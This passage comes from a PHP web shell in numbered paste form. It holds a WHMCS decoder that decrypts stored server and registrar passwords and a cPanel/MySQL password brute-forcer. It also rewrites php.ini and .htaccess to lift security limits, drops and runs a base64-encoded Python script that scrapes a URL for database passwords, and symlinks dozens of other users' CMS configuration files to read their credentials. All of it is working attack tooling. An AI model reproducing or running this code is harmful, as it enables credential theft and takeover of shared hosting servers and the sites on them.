  1328. if (($c != 0 AND $c % $hash_length == 0))
  1329. {
  1330. $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
  1331. }
  1332. $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
  1333. ++$c;
  1334. }
  1335. return $out;
  1336. }
  1337.  
  1338. function _hash ($string)
  1339. {
  1340. if (function_exists ('sha1'))
  1341. {
  1342. $hash = sha1 ($string);
  1343. }
  1344. else
  1345. {
  1346. $hash = md5 ($string);
  1347. }
  1348. $out = '';
  1349. $c = 0;
  1350. while ($c < strlen ($hash))
  1351. {
  1352. $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
  1353. $c += 2;
  1354. }
  1355. return $out;
  1356. }
  1357.  
  1358. echo "
  1359. <br><center><font size='5' color='#FFFFFF'><b>+--==[ WHMCS Decoder ]==--+</b></font></center>
  1360. <center>
  1361. <br>
  1362.  
  1363. <FORM action='' method='post'>
  1364. <input type='hidden' name='form_action' value='2'>
  1365. <br>
  1366. <table class=tabnet style=width:320px;padding:0 1px;>
  1367. <tr><th colspan=2>WHMCS Decoder</th></tr>
  1368. <tr><td>db_host </td><td><input type='text' style='color:#FFFFFF;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
  1369. <tr><td>db_username </td><td><input type='text' style='color:#FFFFFF;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
  1370. <tr><td>db_password</td><td><input type='text' style='color:#FFFFFF;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
  1371. <tr><td>db_name</td><td><input type='text' style='color:#FFFFFF;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
  1372. <tr><td>cc_encryption_hash</td><td><input style='color:#FFFFFF;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
  1373. <td>&nbsp;&nbsp;&nbsp;&nbsp;<INPUT class='inputzbut' type='submit' style='color:#FFFFFF;background-color:' value='Submit' name='Submit'></td>
  1374. </table>
  1375. </FORM>
  1376. </center>
  1377. ";
  1378.  
  1379. if($_POST['form_action'] == 2 )
  1380. {
  1381. //include($file);
  1382. $db_host=($_POST['db_host']);
  1383. $db_username=($_POST['db_username']);
  1384. $db_password=($_POST['db_password']);
  1385. $db_name=($_POST['db_name']);
  1386. $cc_encryption_hash=($_POST['cc_encryption_hash']);
  1387.  
  1388.  
  1389.  
  1390. $link=mysql_connect($db_host,$db_username,$db_password) ;
  1391. mysql_select_db($db_name,$link) ;
  1392. $query = mysql_query("SELECT * FROM tblservers");
  1393. while($v = mysql_fetch_array($query)) {
  1394. $ipaddress = $v['ipaddress'];
  1395. $username = $v['username'];
  1396. $type = $v['type'];
  1397. $active = $v['active'];
  1398. $hostname = $v['hostname'];
  1399. echo("<center><table border='1'>");
  1400. $password = decrypt ($v['password'], $cc_encryption_hash);
  1401. echo("<tr><td>Type</td><td>$type</td></tr>");
  1402. echo("<tr><td>Active</td><td>$active</td></tr>");
  1403. echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
  1404. echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
  1405. echo("<tr><td>Username</td><td>$username</td></tr>");
  1406. echo("<tr><td>Password</td><td>$password</td></tr>");
  1407.  
  1408. echo "</table><br><br></center>";
  1409. }
  1410.  
  1411. $link=mysql_connect($db_host,$db_username,$db_password) ;
  1412. mysql_select_db($db_name,$link) ;
  1413. $query = mysql_query("SELECT * FROM tblregistrars");
  1414. echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
  1415. echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
  1416. while($v = mysql_fetch_array($query)) {
  1417. $registrar = $v['registrar'];
  1418. $setting = $v['setting'];
  1419. $value = decrypt ($v['value'], $cc_encryption_hash);
  1420. if ($value=="") {
  1421. $value=0;
  1422. }
  1423. $password = decrypt ($v['password'], $cc_encryption_hash);
  1424. echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
  1425. }
  1426. }
  1427. }
  1428. ///////////////////////////////////////////////////////////////////////////
  1429.  
  1430. elseif(isset($_GET['x']) && ($_GET['x'] == 'cpbrute'))
  1431. {
  1432. ?>
  1433. <form action="?y=<?php echo $pwd; ?>&amp;x=cpbrute" method="post">
  1434. <?php
  1435. //bruteforce
  1436. ?>
  1437. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  1438. <?php
  1439.  
  1440. @set_time_limit(0);
  1441. @error_reporting(0);
  1442.  
  1443.  
  1444. if($_POST['page']=='find')
  1445. {
  1446. if(isset($_POST['usernames']) && isset($_POST['passwords']))
  1447. {
  1448. if($_POST['type'] == 'passwd'){
  1449. $e = explode("\n",$_POST['usernames']);
  1450. foreach($e as $value){
  1451. $k = explode(":",$value);
  1452. $username .= $k['0']." ";
  1453. }
  1454. }elseif($_POST['type'] == 'simple'){
  1455. $username = str_replace("\n",' ',$_POST['usernames']);
  1456. }
  1457. $a1 = explode(" ",$username);
  1458. $a2 = explode("\n",$_POST['passwords']);
  1459. $id2 = count($a2);
  1460. $ok = 0;
  1461. foreach($a1 as $user )
  1462. {
  1463. if($user !== '')
  1464. {
  1465. $user=trim($user);
  1466. for($i=0;$i<=$id2;$i++)
  1467. {
  1468. $pass = trim($a2[$i]);
  1469. if(@mysql_connect('localhost',$user,$pass))
  1470. {
  1471. echo "Aerul~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";
  1472. $ok++;
  1473. }
  1474. }
  1475. }
  1476. }
  1477. echo "<hr><b>Yea motherfocker, Found <font color=green>$ok</font> Cpanel!!</b>";
  1478. echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  1479. exit;
  1480. }
  1481. }
  1482. if($_POST['pass']=='password'){
  1483. @error_reporting(0);
  1484. $i = getenv('REMOTE_ADDR');
  1485. $d = date('D, M jS, Y H:i',time());
  1486. $h = $_SERVER['HTTP_HOST'];
  1487. $dir=$_SERVER['PHP_SELF'];
  1488. //mail("aeruldawhitehkc@gmail.com","Cpanel Bruteforce","IP : $i \n | Host : $h \n | Dir : $dir \n ");
  1489. $back = "c2FmZV9tb2RlID0gT2ZmCmRpc2FibGVfZnVuY3Rpb25zID0gTm9uZQpzYWZlX21vZGVfZ2lkID0gT0ZGCm9wZW5fYmFzZWRpciA9IE9GRgphbGxvd191cmxfZm9wZW4gPSBPbg==";
  1490. $file = fopen("php.ini","w+");
  1491. $write = fwrite ($file ,base64_decode($back));
  1492. fclose($file);
  1493. chmod("php.ini",0755);
  1494. mkdir('config',0755);
  1495. $cp =
  1496. 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
  1497. $file = fopen("cp.py","w+");
  1498. $write = fwrite ($file ,base64_decode($cp));
  1499. fclose($file);
  1500. chmod("cp.py",0755);
  1501. $url = $_POST['url'];
  1502. echo"<center>
  1503. <textarea style=\"color: lime; background-color: black\" cols=\"90\" rows=\"20\" name=\"usernames\">";
  1504. system("python cp.py $url config");
  1505. unlink ('cp.py');
  1506. echo"</textarea>
  1507. </center>";
  1508. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  1509. exit;
  1510. }
  1511. if($_POST['matikan']=='sekatan'){
  1512. @error_reporting(0);
  1513. $phpini =
  1514. 'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
  1515. $file = fopen("php.ini","w+");
  1516. $write = fwrite ($file ,base64_decode($phpini));
  1517. fclose($file);
  1518. $htaccess =
  1519. 'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
  1520. $file = fopen(".htaccess","w+");
  1521. $write = fwrite ($file ,base64_decode($htaccess));
  1522. echo "<hr><center><b>DONE!";
  1523. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  1524. exit;
  1525. }
  1526. if($_POST['mendapatkan']=='passwd'){
  1527. @set_magic_quotes_runtime(0);
  1528. ob_start();
  1529. error_reporting(0);
  1530. @set_time_limit(0);
  1531. @ini_set('max_execution_time',0);
  1532. @ini_set('output_buffering',0);
  1533. $fn = $_POST['foldername'];
  1534. //all function here
  1535.  
  1536. function syml($usern,$pdomain)
  1537. {
  1538. symlink('/home/'.$user.'/public_html/beta/configuration.php',$kola.' ~~ beta - Joomla.txt') ;
  1539. symlink('/home/'.$user.'/public_html/configuration.php',$kola.' ~~ joomla.txt') ;
  1540. symlink('/home/'.$user.'/public_html/includes/config.php',$kola.' ~~ vBulletin-2.txt') ;
  1541. symlink('/home/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt') ;
  1542. symlink('/home/'.$user.'/public_html/store/configuration.php',$kola.' ~~ store - Joomla.txt') ;
  1543. symlink('/home/'.$user.'/public_html/joomla/configuration.php',$kola.' ~~ joomla - Joomla.txt');
  1544. symlink('/home/'.$user.'/public_html/portal/configuration.php',$kola.' ~~ portal - Joomla.txt');
  1545. symlink('/home/'.$user.'/public_html/joom/configuration.php',$kola.' ~~ joom - Joomla.txt');
  1546. symlink('/home/'.$user.'/public_html/joo/configuration.php',$kola.' ~~ jom - Joomla.txt');
  1547. symlink('/home/'.$user.'/public_html/cms/configuration.php',$kola.' ~~ cms - Joomla.txt');
  1548. symlink('/home/'.$user.'/public_html/site/configuration.php',$kola.' ~~ site - Joomla.txt');
  1549. symlink('/home/'.$user.'/public_html/main/configuration.php',$kola.' ~~ main - Joomla.txt');
  1550. symlink('/home/'.$user.'/public_html/news/configuration.php',$kola.' ~~ news - Joomla.txt');
  1551. symlink('/home/'.$user.'/public_html/new/configuration.php',$kola.' ~~ new - Joomla.txt');
  1552. symlink('/home/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt');
  1553. symlink('/home/'.$user.'/public_html/test/configuration.php',$kola.' ~~ test - Joomla.txt');
  1554. symlink('/home/'.$user.'/public_html/myshop/configuration.php',$kola.' ~~ myshop - Joomla.txt');
  1555. symlink('/home/'.$user.'/public_html/Settings.php',$kola.' ~~ Smf.txt');
  1556. symlink('/home/'.$user.'/public_html/smf/Settings.php',$kola.' ~~ smf - Smf.txt');
  1557. symlink('/home/'.$user.'/public_html/forum/Settings.php',$kola.' ~~ forum - Smf.txt');
  1558. symlink('/home/'.$user.'/public_html/forums/Settings.php',$kola.' ~~ forums - Smf.txt');
  1559. symlink('/home/'.$user.'/public_html/sites/default/settings.php',$kola.' ~~ sites - default - configuration 3.txt');
  1560. symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$kola.' ~~ Zencart.txt');
  1561. symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$kola.' ~~ zencart - zencart.txt');
  1562. symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$kola.' ~~ shop - zencart.txt');
  1563. symlink('/home/'.$user.'/public_html/includes/configure.php',$kola.' ~~ Oscommerce.txt');
  1564. symlink('/home/'.$user.'/public_html/oscommerce/includes/configure.php',$kola.' ~~ oscommerce - Oscommerce.txt');
  1565. symlink('/home/'.$user.'/public_html/oscommerces/includes/configure.php',$kola.' ~~ oscommerces -Oscommerces.txt');
  1566. symlink('/home/'.$user.'/public_html/shopping/includes/configure.php',$kola.' ~~ shopping - Shopping.txt');
  1567. symlink('/home/'.$user.'/public_html/sale/includes/configure.php',$kola.' ~~ sale - Oscommerce.txt');
  1568. symlink('/home/'.$user.'/public_html/store/includes/configure.php',$kola.' ~~ store - Oscommerce.txt');
  1569. symlink('/home/'.$user.'/public_html/inc/config.php',$kola.' ~~ MyBB.txt') ;
  1570. symlink('/home/'.$user.'/public_html/forum/inc/config.php',$kola.' ~~ forum - MyBB .txt') ;
  1571. symlink('/home/'.$user.'/public_html/lib/config.php',$kola.' ~~ Balitbang.txt') ;
  1572. symlink('/home/'.$user.'/public_html/cc/includes/config.php',$kola.' ~~ VBulletin4.txt');
  1573. symlink('/home/'.$user.'/public_html/forum/includes/config.php',$kola.' ~~ forum - vBulletin.txt');
  1574. symlink('/home/'.$user.'/public_html/forum/config.php',$kola.' ~~ forum - PhpBB.txt') ;
  1575. symlink('/home/'.$user.'/public_html/amember/config.inc.php',$kola.' ~~ Amember.txt');
  1576. symlink('/home/'.$user.'/public_html/config.inc.php',$kola.' ~~ Amember2.txt');
  1577. symlink('/home/'.$user.'/public_html/vb/includes/config.php',$kola.' ~~ Vb.txt');
  1578. symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$kola.' ~~ Vb3.txt');
  1579. symlink('/home/'.$user.'/public_html/upload/includes/config.php',$kola.' ~~ Upload.txt');
  1580. symlink('/home/'.$user.'/public_html/incl/config.php',$kola.' ~~ Malay.txt');
  1581. symlink('/home/'.$user.'/public_html/config/koneksi.php',$kola.' ~~ Lokomedia.txt');
  1582. symlink('/home/'.$user.'/public_html/config/config.php',$kola.' ~~ config.txt');
  1583. symlink('/home/'.$user.'/public_html/datas/config.php',$kola.' ~~ datas - configuration 3.txt');
  1584. symlink('/home/'.$user.'/public_html/forum/conf/config.php',$kola.' ~~ forum - Other-1.txt') ;
  1585. symlink('/home/'.$user.'/public_html/include/config.php',$kola.' ~~ Other-2.txt');
  1586. symlink('/home/'.$user.'/public_html/config.php',$kola.' ~~ Other-3.txt') ;
  1587. symlink('/home/'.$user.'/public_html/admin/conf.php',$kola.' ~~ admin - Other-4.txt');
  1588. symlink('/home/'.$user.'/public_html/connect.php',$kola.' ~~ Other-5.txt');
  1589. symlink('/home/'.$user.'/public_html/codelibrary/inc/variables.php',$kola.' ~~ Other-6.txt') ;
  1590. symlink('/home/'.$user.'/public_html/client/configuration.php',$kola.' ~~ client - admin Whm1.txt') ;
  1591. symlink('/home/'.$user.'/public_html/clients/configuration.php',$kola.' ~~ clients - Whm2.txt') ;
  1592. symlink('/home/'.$user.'/public_html/billing/configuration.php',$kola.' ~~ billing - Whm3.txt') ;
  1593. symlink('/home/'.$user.'/public_html/billings/configuration.php',$kola.' ~~ Whm4.txt') ;
  1594. symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$kola.' ~~ whmcs - Whm5.txt') ;
  1595. symlink('/home/'.$user.'/public_html/whm/configuration.php',$kola.' ~~ whm - Whm6.txt');
  1596. symlink('/home/'.$user.'/public_html/order/configuration.php',$kola.' ~~ order - Whm7.txt');
  1597. symlink('/home/'.$user.'/public_html/whmc/configuration.php',$kola.' ~~ whmc - Whm8.txt');
  1598. symlink('/home/'.$user.'/public_html/submitticket.php',$kola.' ~~ whm9.txt');
  1599. symlink('/home/'.$user.'/public_html/manage/configuration.php',$kola.' ~~ manage -Whm10.txt');
  1600. symlink('/home/'.$user.'/public_html/clientes/configuration.php',$kola.' ~~ clientes - Whm11.txt');
  1601. symlink('/home/'.$user.'/public_html/cliente/configuration.php',$kola.' ~~ cliente - Whm12txt');
  1602. symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$kola.' ~~ clientsupport - Whm13.txt');
  1603. symlink('/home/'.$user.'/public_html/support/configuration.php',$kola.' ~~ support - Whm13.txt');
  1604. symlink('/home/'.$user.'/public_html/supports/configuration.php',$kola.' ~~ supports - Whm14.txt');
  1605. symlink('/home/'.$user.'/public_html/cpanel/configuration.php',$kola.' ~~ cpanel - Whm15');
  1606. symlink('/home/'.$user.'/public_html/panel/configuration.php',$kola.' ~~ panel - Whm16');
